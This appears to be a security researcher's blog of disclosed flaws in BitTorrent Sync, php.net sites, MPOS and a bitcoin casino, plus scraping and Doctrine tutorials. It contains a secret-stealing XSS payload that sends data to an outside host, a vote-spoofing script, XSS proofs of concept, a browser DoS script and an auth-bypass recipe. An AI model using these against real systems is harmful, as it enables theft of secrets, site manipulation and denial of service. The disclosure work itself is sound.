  if ( isset($_GET['sort_by']) && array('who','visits','time','ip','location','url') ) {
    $wo_prefs_arr['sort_by'] = $_GET['sort_by'];
    $sort_by = $_GET['sort_by'];
  }

...

  $order = (isset($wo_prefs_arr['order'])) ? $wo_prefs_arr['order'] : 'desc';
  if ( isset($_GET['order']) && array('desc','asc') ) {
   // bots
    $wo_prefs_arr['order'] = $_GET['order'];
    $order = $_GET['order'];
  }
...

Monday, December 29, 2014

BitTorrent Sync WebUI XSS vulnerability

BitTorrent Sync WebUI (<= 1.4.92) is affected by XSS vulnerability that could be exploitable in some rare scenarios.

Proof of concept video (stealing secrets):

PoC exploit uses jQuery global ajax hook (jQuery library is already used in WebUI) to fetch necessary data (secrets in our case) directly from internal ajax responses instead of DOM parsing.

Sample payload:
fakeImgUrl = 'http://cinu.pl/research/btsync/webui-xss/image/';
folders = [];

// ajax hook - all data is there
$(document).ajaxComplete(function(event, xhr, settings) {
 try {
  json=$.parseJSON(xhr.responseText);

  for(var i in json.folders) {
   var str=encodeURIComponent(json.folders[i].secret+':'+json.folders[i].path+':'+json.folders[i].status);

   if (folders.indexOf(str)==-1) {
    folders.push(str);
    $('body').append('<img style=\'display:none\' src=\''+fakeImgUrl+'?'+str+'\'>');
    console.log('SEND ' + str);
   }
  }
 } catch (e) {
  // error
  return;
 }
});

I've found also minor XSS on https://link.getsync.com/#f=XSS_HERE

Reported: 15.10.2014
Fixed: 16.10.2014
Unexpected surprise bounty: 500 USD

Monday, June 23, 2014

Multiple vulnerabilities in bugs.php.net, pecl.php.net, master.php.net and gtk.php.net

Another "sprint code review" resulted in many vulnerabilities in *.php.net sites.

Short summary:
  • bugs.php.net: SQLi, XSS
  • pecl.php.net: SQLi, XSS
  • master.php.net: SQLi, XSS, possible server-side command execution
  • gtk.php.net: SQLi, XSS, auth bypass

Reported: 03.05.2014
Fixed: 11.06.2014

Details:

bugs.php.net

  • SQL Injection in get_resolve_reasons() function from functions.php (project variable)
    function get_resolve_reasons($project = false)
    {
     global $dbh;
    
     $where = '';
    
     if ($project !== false)
      $where.= "WHERE (project = '{$project}' OR project = '')";
    
     $resolves = $variations = array();
     $res = $dbh->prepare("SELECT * FROM bugdb_resolves $where")->execute(array());
     ...
    

  • 2. XSS in bug.php ($_POST['in']['email'])
    ...
    <input type="text" size="40" maxlength="40" name="in[email]" value="<?php echo isset($_POST['in']) && isset($_POST['in']['email']) ? $_POST['in']['email'] : ''; ?>" />
    ...
    

pecl.php.net

  • XSS in account-edit.php (handle parameter), because of bad regexp validation
    ...
    if ($handle && !preg_match('@[0-9A-Za-z_]{2,20}$@', $handle)) {
        response_header('Error:');
        report_error("No valid handle given!");
        response_footer();
        exit();
    }
    ...
    
    Regular expression used in preg_match is checking only string ending, not the beggining. Possible example: account-edit.php?handle=<script>alert('XSS')</script>AAAA

  • SQL injection in package-delete.php (id parameter)
    ...
        $query = "SELECT p.name, r.version FROM packages p, releases r
                    WHERE p.id = r.package AND r.package = '" . $_GET['id'] . "'";
    
        $row = $dbh->getAll($query);
    ...
    

  • XSS in package-delete.php (id parameter)

  • Some other minor issues I've noticed:
    • Small typo (should be $_GET instead of $GET) in package-new.php:
      ...
      if(isset($_GET[$arg])) $_GET[$arg] = htmlspecialchars($GET[$arg], ENT_QUOTES);
      ...
      
    • User with password that match /^[a-z0-9]{32}$/ is unable to log in.
      ...
      function auth_verify($user, $passwd)
      ...
         // Check if the passwd is already md5()ed
         if (preg_match('/^[a-z0-9]{32}$/', $passwd)) {
          $crypted = $passwd;
         } else {
          $crypted = md5($passwd);
         }
      ...
      

master.php.net

  • Possible serveside command execution in network/api.php
    ...
    $res = db_query("SELECT * FROM mirrors LEFT JOIN country ON mirrors.cc = country.id WHERE mirrors.hostname='".mysql_real_escape_string($_GET['host'])."' LIMIT 0,1");
    $row = mysql_fetch_assoc($res);
    ...
    $cname = $row['cname'];
    $ip_info = str_replace(PHP_EOL,'; ',trim(`host $cname | grep -i address`));
    $ping_stats = nl2br(trim(`ping -c1 -i1 -w1 $cname | grep -v PING | grep -v "ping statistics"`));
    $ip_addr = gethostbyname($_GET['host']);
    ...
    
    Although cname variable comes from database it's not properly sanitized by escapeshell* function(s).

  • Many SQL injections in forgot.php, entry/svn-account.php, manage/event.php, manage/mirrors.php. However they're not exploitable because of magic_quotes_gpc enabled in production environment (but in other places user input is sanitized anyway)

  • SQL injection in manage/user-notes.php (id parameter)
    ...
    $sql = 'DELETE FROM votes WHERE votes.note_id = ' . real_clean($id);
    ...
    
    include/functions.inc:
    ...
    function real_clean($var)      { return mysql_real_escape_string($var); }
    ...
    
    Neither magic_quotes_gpc nor real_clean() protect from specific injection (like: '1 or 1=1').

  • XSS in manage/event.php (action parameter)
  • ...
    $valid_vars = array('id', 'action','in','begin','max','search','order','full','unapproved');
    foreach($valid_vars as $k) {
        $$k = isset($_REQUEST[$k]) ? $_REQUEST[$k] : false;
    }
    ...
    if ($id && $action) {
      switch ($action) {
     ...
      default:
        warn("that action ('$action') is not understood.");
      }
    }
    ...
    
    functions.inc:
    ...
    function format_warn($message) { return "

    $message

    "; } function warn($message) { echo format_warn($message); } ...

gtk.php.net

Note: First of all the whole site in production environment seems to be deprecated and many things don't work.
  • Authorization bypass:

    In most places authorization is done by:
    ...
    if ($user = get_user()) {
    ...
    

    cvs-auth.inc:
    ...
    function get_user() {
    
     if (isset($_COOKIE['PHP-GTK'])) {
      list($user, $pass) = explode(':', base64_decode($_COOKIE['PHP-GTK']));
      $stored = file_get_contents(DB_DIR."/$user.txt");
      if ($pass == $stored) {
       return $user;
      }
     }
     return false;
    }
    ...
    

    Setting cookie to base64_encode("user_that_do_not_exists:") will bypass authorization because of used "==" operator ('' == false -> true).

  • Multiple SQL injections in manual/browse-notes.php, manual/browse.php

  • XSS in manual/browse-notes.php, params: $_GET['let'] and $_GET['y']

  • manual1/* and apps/* vulnerabilities but it seems they're broken/disabled in production environment (propably because of mysql_connect timeout)


Commits with fixes:

http://git.php.net/?p=web/bugs.git;a=commit;h=e353f1f83f51adb95a5fc981e0ee37d2374602d5
http://git.php.net/?p=web/bugs.git;a=commit;h=46a74d234c026fea0928764e940a729801d604b5
http://git.php.net/?p=web/gtk.git;a=commit;h=7a62171c7ed46085d3d1244abea28e7a3e65ad11
http://git.php.net/?p=web/gtk.git;a=commit;h=7230b03244974298af17507a36f34d10a9d777a0
http://git.php.net/?p=web/gtk.git;a=commit;h=723496f654da0b63c128d46a67c3952aed195a83
http://git.php.net/?p=web/pecl.git;a=commit;h=219bbdfce56c8cfca91189fa8a9bb2df6158d02c
http://git.php.net/?p=web/pecl.git;a=commit;h=0a30bab1c4763ebf5a36120afd4039b23da5a427
http://git.php.net/?p=web/pecl.git;a=commit;h=5251a3f8518a600a07d3ceacc2606c167dd0fba8
http://git.php.net/?p=web/pecl.git;a=commit;h=2a1f91d8016ddc4be5156743f49e922a2ab6a937
http://git.php.net/?p=web/master.git;a=commit;h=e024ef1a36b36785955816a1ee95c9c498ad0550
http://git.php.net/?p=web/master.git;a=commit;h=9404bdc83562397e78c35e6daf2c91bf8a886f60
http://git.php.net/?p=web/master.git;a=commit;h=efa8fa543bd8ebb808407be4f2dcc7c3204a615b
http://git.php.net/?p=web/master.git;a=commit;h=41e4d4aff29ccbf0ab3ac756e344d73ba1f4e0c2
http://git.php.net/?p=web/master.git;a=commit;h=1b0dac3d83739242e2cca66ea533bc03e5553ada
http://git.php.net/?p=web/master.git;a=commit;h=0ac39f3249b9c06cea6e50fa985f447cba92a309
http://git.php.net/?p=web/master.git;a=commit;h=e7dca7e9d57a29cf93c2a5673c0d8acd275e4c1e
http://git.php.net/?p=web/master.git;a=commit;h=b75fa9c0ebdcf7da01c2d68500c2de13a5ea2d83
http://git.php.net/?p=web/master.git;a=commit;h=f1ba778df22b8e54a3e71d728ad7cf06be3c502d

Tuesday, June 10, 2014

MPOS (cryptocurrencies mining portal) XSS

During another "sprint code review" session I found a simple XSS in MPOS JSONP handling. MPOS is a web based mining portal for various crypto currencies written in PHP.



Vulnerable is callback parameter introduced in this commit. (note: Content-Type response header is text/html)

Attacker needs a valid api key. Usually he can get it by just signing up to a pool.

Example:
https://pool/index.php?callback=XSS&page=api&action=getuserstatus&api_key=VALID_API_KEY

Found and reported: 25.05.2014
Fixed: 10.06.2014

Ps. It was introduced after more or less security-related discussion here.

Tuesday, April 22, 2014

Apache fingerprinting with icons directory

Sometimes webservers don't return "Server" header in HTTP response or return fake value. It doesn't increase security in any way and it's clear example of Security through obscurity, however some administrators want to hide this information or even change it to some odd values.

If you are one of them and you're running apache don't forget about default /icons/ alias. Anyone can use it to guess that you're using apache, for example:

http://apache.org/icons/apache_pb.gif

Directory content can be different between apache versions, so it also may reveal which version you are using.

For example:

Apache 2.2 (icons/apache_pb.gif):
Apache 2.2

Apache 2.4 (icons/apache_pb.gif):
Apache 2.2

For more differences you can take a look in apache source code repository history:
http://svn.apache.org/viewvc/httpd/httpd/trunk/docs/icons/

You can disable this alias in the httpd.conf file, simply comment out the line:
Alias /icons/ "/var/www/icons/"

Monday, April 21, 2014

Abusing PHP.net "User Contributed Notes" up/down voting system easier

On php.net website there is "User Contributed Notes" with up/down vote system. There is simple abuse protection mechanism that makes voting from the same IP address in short time unavailable. Look closer at "manual/vote-note.php":
...
$master_url = "http://master.php.net/entry/user-notes-vote.php";
...
$data = array(
              "noteid" => $_REQUEST['id'],
              "sect" => $_REQUEST['page'],
              "vote" => $_REQUEST['vote'],
              "ip" => $_SERVER['REMOTE_ADDR'],
         );
...
... $r = posttohost($master_url, $data) ...
And posttohost function from include include/posttohost.inc:
...
function posttohost($url, $data)
{
    $data = http_build_query($data);

    $opts = array(
        'method'  => 'POST',
        'header'  => 'Content-type: application/x-www-form-urlencoded',
        'content' => $data,
    );

    $ctx = stream_context_create(array('http' => $opts));

    $response_body = @file_get_contents($url, false, $ctx);

    return $response_body;
}
One of parameters sending to http://master.php.net/entry/user-notes-vote.php is IP addresss that can be easily spoofed - just forget about php.net/manual/vote-note.php and send POST request directly to http://master.php.net/entry/user-notes-vote.php (there is no validation, request source IP whitelisting etc).

<php
// demo
$url = 'http://master.php.net/entry/user-notes-vote.php';

$data = array('noteid' => /*NOTE_ID*/, 'sect'=>'/*SECT*/', 'vote' => '/*VOTE*/', 'ip'=>'/*SOME_RANDOM_IP*/');

$options = array(
   'http' => array(
        'header'  => "Content-type: application/x-www-form-urlencoded\r\n",
        'method'  => 'POST',
        'content' => http_build_query($data),
    ),
);

$context  = stream_context_create($options);
$result = file_get_contents($url, false, $context);

echo $result;

pear.php.net XSS

Long time ago (28.06.2013) I found XSS bug in http://pear.php.net/support/lists.php. Email parameter was neither validated nor sanitized which resulted in XSS. Proof of concept was:
<head>
    <script src="http://code.jquery.com/jquery-1.10.1.min.js"></script>
</head>

<body> 
    <form method="post" action="http://pear.php.net/support/lists.php" id="form" style="display:none">
    <input name="maillist[pear-dev]" type="radio" value="normal" checked>
    <input type="text" name="email" size="30" value="<script>alert('xss');</script>">
    <input type="submit" name="action" value="Subscribe">
    </form>
</body>
 
<script>
     $('input[name=action]').click();
</script>
Fixed 08.07.2013.

Sunday, September 1, 2013

Crawling and parsing web pages in javascript directly from your web browser

Introduction

Developer tools that are built in all modern browsers are powerful tools in a skillful hands. In this post I will show you how you can use them (essentially javascript console) to parse web pages. If you are not familiar with any developer tools in web browsers, please read some introduction first. You should also have basic knowledge of html, javascript and jquery.

I'll use Google Chrome as a web browser.

Idea

Basically in browsers javascript console we can execute javascript code in a context of current web page. Using ajax (XMLHttpRequest) we can also fetch html from nested urls and parse them as well (like crawlers do). It isn't complicated or innovative, but there are two things that are worth mentioning.
  • I'll use jquery to produce smaller and easier code, because of its selectors and built-in ajax method. When page doesn't use that library already, we need to inject it. It will be shown later in "Live example" how to do that.
  • On ajax-based pages it's better to disable origin policy checking by web browser, because sometimes ajax requests will trigger origin errors like "Origin http://www.example.com is not allowed by Access-Control-Allow-Origin".
    In google chrome we can do it by executing it with --args --disable-web-security parameter. You can read more about origin policies here and here.

Basic example

I prepared really basic, static web page to demonstrate idea. The url is http://cinu.pl/research/jsparsing/

Source code of this web page is:

index.html:
<html>

<head>
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script>
</head>

<body>
<a href="a.html">link 1</a>
<a href="b.html">link 2</a>
<a href="c.html">link 3</a>
</body>

</html>

a.html,b.html,c.html contains a div with value we want to read:
<html>

<body>
<div class="container">
   <div class="data">VALUE WE WANT TO FETCH</div>
</div>
</body>

</html>

As you can see in index.html there is already included jquery library so there is no need to inject it.

The parser code is:
var out = ''; // container for fetched values

function parse() {
 $('a').each( // go through each anchor on page and make ajax request to fetch html
  function(idx, item) { 
   var url = $(item).attr('href'); // get url
   console.log('Fetching: '+ url); // debug note
   
   // make ajax request (http://api.jquery.com/jQuery.ajax/)
   $.ajax({
    url: url, 
    async: false, // do it synchronously
   }).done(function(data) { // data variable contains fetched html
    var dataRetrieved = $('div',$(data)).html(); // get value we're looking for
    console.log( 'Retrieved ' +  dataRetrieved); // debug note
    
    out += dataRetrieved + "\n"; // save retrieved value (+ separator)
   });
  } 
 );
 console.log("-----------------\nParsing done, output:\n"+out); // print out parsed values
}

Go to http://cinu.pl/research/jsparsing/, paste above code in Developer tools console and hit enter. To execute this code just write "parse()" and hit enter.
Result:

I guess this code is well documented, so there is no need to describe what it does, so lets try to do some more complicated example.

Live example - parsing aliexpress.com

The main goal is to fetch first 5 items from products category (I'll use wireless routers as an example) and check if there is any "feedback" from poland country on first page of feedback.

This task seems silly and parsed data is rather useless but this is only example which helps me to utilize things I have previously written.

Step 1. Injecting JQuery

Since aliexpress doesn't use jquery we need to inject it.
Injection code:
var $jq; // jquery handler to avoid $ conflicts

function injectJquery() {
 var script = document.createElement('script');
 script.setAttribute('type', 'text/javascript');
 script.setAttribute('src', '//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js'); // fetch it from googles CDNs

 // Give $ back to whatever took it before; create new alias to jQuery. 
 script.setAttribute('onload','javascript:$jq = jQuery.noConflict();'); 

 document.body.insertBefore(script, document.body.firstChild); 
}

injectJquery(); // call it automatically when paste into console

We can see that apart from simple injection we also make a jQuery.noConflict() call and assign jquery to $jq and not $. We need to do that because some scripts can also use $ (prototype.js for instance) and we need to give $ variable back to it because some parts of javascript code on target page might be broken.

Step 2. Get urls of products we want to parse "feedback" on



We need to remember that when we are fetching static pages through ajax, javascript won't be parsed and executed and we need do it manually. Because "Feedback" tab is loaded dynamically with javascript we won't get "Feedback" data in html when we fetch product page. We will handle it in next step, for now parser code is:
var productsNum = 5; 

function parse() {
 var urls = $jq('a.product');
 
 for(var i=0;i<productsNum && i<urls.length; i++) {
  var url = $jq(urls[i]).attr('href'); // get url
  console.log('Fetching: '+ url); // debug note
  
  // make ajax request 
  $jq.ajax({
   url: url, 
   async: false, // do it synchronously
  }).done(function(data) { // data variable contains fetched html
   var parsedDom = $jq(data);
   
   // check if it works
   console.log( '[TEST] item price: ' + $jq('#sku-price', parsedDom).html() );
  });
 }
}

Step 3. Find a way to fetch feedback (cause it's dynamically fetched through ajax).

First of all we need to get url where http requests for feedback data goes. To do that we need to look in Network tab of Developer Tools, press "Feedback" tab on web page and check "Documents" and "XHR" checkboxes (we don't need scripts, images, fonts etc.).

We can see couple of interesting urls like:
http://www.aliexpress.com/store/productGroupsAjax.htm?storeId=413596 [with JSON response]
http://www.aliexpress.com/findRelatedProducts.htm?productId=733919144&type=new [with JSON response]

But what we are looking for is:
http://feedback.aliexpress.com/display/productEvaluation.htm?productId=733919144&ownerMemberId=201779865&companyId=214347019&memberType=seller&startValidDate=&i18n=true
It contains raw HTML response. When we look into "response" we will see that this is exactly what are we looking for.

Now we need to take a closer look into parameters in url, that are:
productId=733919144
ownerMemberId=201779865
companyId=214347019
memberType=seller
startValidDate=
i18n=true

We can extract productId from product url for example in http://www.aliexpress.com/item/Hot-Sale-Wireless-N-Networking-Device-Wifi-Wi-Fi-Repeater-Booster-Router-Range-Expander-300Mbps-2dBi/733919144.html (product id is 733919144)

Only two of them are unknown: ownerMemberId and companyId. However if we look in the product page source code we will find it inside script tag:
...
window.runParams.adminSeq="201779865";
window.runParams.companyId="214347019";
...


We need to get it directly from the html code. I'll use regular expressions:
...
 var rx = /window.runParams.adminSeq="(\d+)"/g;
 var arr = rx.exec(data); // data contains product page html
 var adminSeq = arr[1];
 
 var rx = /window.runParams.companyId="(\d+)"/g;
 var arr = rx.exec(data); // data contains product page html
 var companyId = arr[1]; 
 
 console.log('Parsed runParams: ' + adminSeq + ' ' +companyId);
... 

If you look closer you can see that productId is also in source code in window.runParams, so we will get it like adminSeq and companyId.

parse() function now looks like this:
var productsNum = 5; 

function parse() {
 var urls = $jq('a.product');
 
 for(var i=0;i<productsNum && i<urls.length; i++) {
  var url = $jq(urls[i]).attr('href'); // get url
  console.log('Fetching: '+ url); // debug note
  
  // make ajax request 
  $jq.ajax({
   url: url, 
   async: false, // do it synchronously
  }).done(function(data) { // data variable contains fetched html
   //var parsedDom = $jq(data); // we dont need parsedDom since we will be executing regular expressions on raw html
   
   // construct feedbackUrl:
   var rx = /window.runParams.adminSeq="(\d+)"/g;
   var arr = rx.exec(data); // data contains product page html
   var adminSeq = arr[1];
   
   var rx = /window.runParams.companyId="(\d+)"/g;
   var arr = rx.exec(data); // data contains product page html
   var companyId = arr[1]; 
   
   var rx = /window.runParams.productId="(\d+)"/g;
   var arr = rx.exec(data); // data contains product page html
   var productId = arr[1];    

   var feedbackUrl = 'http://feedback.aliexpress.com/display/productEvaluation.htm?productId='+productId+'&ownerMemberId='+adminSeq+'&companyId='+companyId+'&memberType=seller&startValidDate=&i18n=true';
   
   console.log('Feedback url: '+feedbackUrl);
   
   // here we'll make another ajax call to fetch feedback data
  });
 }
}

4. Final step: Avoiding Origin policy checking and parse feedback html and check for searched country

If we try to make ajax call on prepared feedbackUrl in our parse() function we will see in console that "Origin http://www.aliexpress.com is not allowed by Access-Control-Allow-Origin" browser error. In Google Chrome we can bypass it by adding --args --disable-web-security when we execute binary.

Looking into feedbacks html we can see that flag indicating users country is described as follows:
<span class="state"><b class="css_flag css_br"></b></span>
Simple jquery selector will do the job:
$jq('b.css_'+countryCode);

The final code is:
// jquery injection
var $jq; // jquery handler to avoid $ conflicts

function injectJquery() {
 var script = document.createElement('script');
 script.setAttribute('type', 'text/javascript');
 script.setAttribute('src', '//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js'); // fetch it from googles CDNs

 // Give $ back to whatever took it before; create new alias to jQuery. 
 script.setAttribute('onload','javascript:$jq = jQuery.noConflict();'); 

 document.body.insertBefore(script, document.body.firstChild); 
}

injectJquery();

// parsing
var productsNum = 5; 

function parse(country) {
 var urls = $jq('a.product');
 
 for(var i=0;i<productsNum && i<urls.length; i++) {
  var url = $jq(urls[i]).attr('href'); // get url
  console.log('Fetching: '+ url); // debug note
  
  // make ajax request 
  $jq.ajax({
   url: url, 
   async: false, // do it synchronously
  }).done(function(data) { // data variable contains fetched html
   //var parsedDom = $jq(data); // we dont need parsedDom since we will be executing regular expressions on raw html
   
   // construct feedbackUrl:
   var rx = /window.runParams.adminSeq="(\d+)"/g;
   var arr = rx.exec(data); // data contains product page html
   var adminSeq = arr[1];
   
   var rx = /window.runParams.companyId="(\d+)"/g;
   var arr = rx.exec(data); // data contains product page html
   var companyId = arr[1]; 
   
   var rx = /window.runParams.productId="(\d+)"/g;
   var arr = rx.exec(data); // data contains product page html
   var productId = arr[1];    

   var feedbackUrl = 'http://feedback.aliexpress.com/display/productEvaluation.htm?productId='+productId+'&ownerMemberId='+adminSeq+'&companyId='+companyId+'&memberType=seller&startValidDate=&i18n=true';
   
   // get feedback page and check if there is searched country
   $jq.ajax({ // to make that request we need to disable web security in google chrome
    url: feedbackUrl, 
    async: false,
   }).done(function(data) {
   console.log( $jq('b.css_'+country, $jq(data)).length );
    
    // check if element with css_country class exists:
    if ( $jq('b.css_'+country, $jq(data)).length ) {
     console.log('[FOUND] item: '+url);
    }
   });
  });
 }
}
We executing it with parse('pl') when we want to check if there is a feedback from poland.

Some thoughs

In above example we made operations on a raw html code, however using json is a lot easier, because we don't need to use regular expressions, jquery selectors, etc. to fetch data.

Another thing is that we don't need to store data in console log. We can inject some div into webpage and then store results in it.

Saturday, August 3, 2013

Doctrine2 (PHP): inserting large amount of entities

First of all IMO Doctrine2 don't really fits for inserting large amount of data/entities because of its abstraction layer "overhead". Nevertheless during development my IpToCountry Symfony2 Bundle I have chosen to use it for easier installation and better integration of that bundle.

Data set which needs to be inserted is a .csv file from http://software77.net/geo-ip/. Its decompressed size (as I writing this note) is about 9MB and it contains about 127000 records. However I'll use gzipped file (~1.5MB) and decompress it "on the fly".

Lets look at inserting function prototype:
...
    public function load(ObjectManager $manager)
    {
        $fp = gzopen('data.csv.gz', 'r');
        while(!gzeof($fp)) {
                $line = trim(gzgets($fp, 2048));
                if ($line[0]!='#') { // dont parse comments
                    $csv = str_getcsv($line);

                    $o = new EntityObject();
                    /* ...
                       filling entity with data from csv line
                       ...
                    */

                    $manager->persist($o);
 
                    unset($o);
                }  
        }
        $manager->flush();

        gzclose($fp);
    }
...
This code won't work, because it'll trigger fatal error (memory exhaustion) soon or later (depends on memory limit and number of entities). What we need to do is to use chunked inserting approach and depends on doctrine debug configuration (in symfony2 it directly depends on %kernel.debug%) we need also to turn off sql logging.

The final code looks like this:
...
    public function load(ObjectManager $manager)
    {
        $count = 0;
        $objectsPerChunk = 1000;

        $manager->getConnection()->getConfiguration()->setSQLLogger(null);

        $fp = gzopen('data.csv.gz', 'r');
        while(!gzeof($fp)) {
                $line = trim(gzgets($fp, 2048));
                if ($line[0]!='#') { // dont parse comments
                    $csv = str_getcsv($line);

                    $o = new EntityObject();
                    /* ...
                       filling entity with data from csv line
                       ...
                    */

                    $manager->persist($o);
                    $count++;
                    if ($count%$objectsPerChunk == 0) {
                        $manager->flush();
                        $manager->clear();
                    }
 
                    unset($o);
                }  
        }
        $manager->flush();

        gzclose($fp);
    }
...
In line 23 there is important $manager->clear() which "detaches" all object currently managed by $manager. Basically detaching frees memory, but if you want to look under the hood and see what really happening, go to doDetach() method in Doctrine/ORM/UnitOfWork.php

You may be wondering why I choose 1000 objects per chunk, not 100, 5000 or 10000? Well in my case it turns out that the ~1000 is the best choice considering speed. Here are some benchmarks I did:

objects per chunktime
1003m6s
5002m43s
8002m43s
10002m37s
12002m38s
15002m46s
20002m39s
50002m53s
200003m17s

Monday, July 22, 2013

In the meantime...

Recently, when I have some spare time, I'm finishing my own project which I hope to release soon. However, apart from that project I have also found:

  • Google Chrome <= 28 DoS (by memory exhaustion) using history.pushState
    <script>
    var r="BOMB!";for(var e=0;e<22;e++){r+=r;}
    for(var d=0;d<100000;d++) {
            history.pushState({},r);
    }
    </script>
    
    Live demo

    On android 4.2.2 @ nexus 7 this is quicker:
    <script>
    var r="";for(var e=0;e<1000000;e++){r+=String.fromCharCode(1+Math.floor(Math.random()*254));}
    history.pushState({},r,r);
    </script>
    

  • pear.php.net XSS

    http://pear.php.net/support/lists.php (Email parameter was neither validated nor sanitized)

  • satoshiroulette.com (bitcoin casino) XSS :

    Examples:

    http://satoshiroulette.com/game-info.php?mode=BTC&game=%3C/title%3E%3Cbody%20onload=%22javascript:console.log%28%27XSS%27%29%22%20/%3E

    http://satoshiroulette.com/render_address_roulette.php?mode=BTC&game=%3Cbody%20onload=%22javascript:console.log%28%27XSS%27%29%22%20/%3E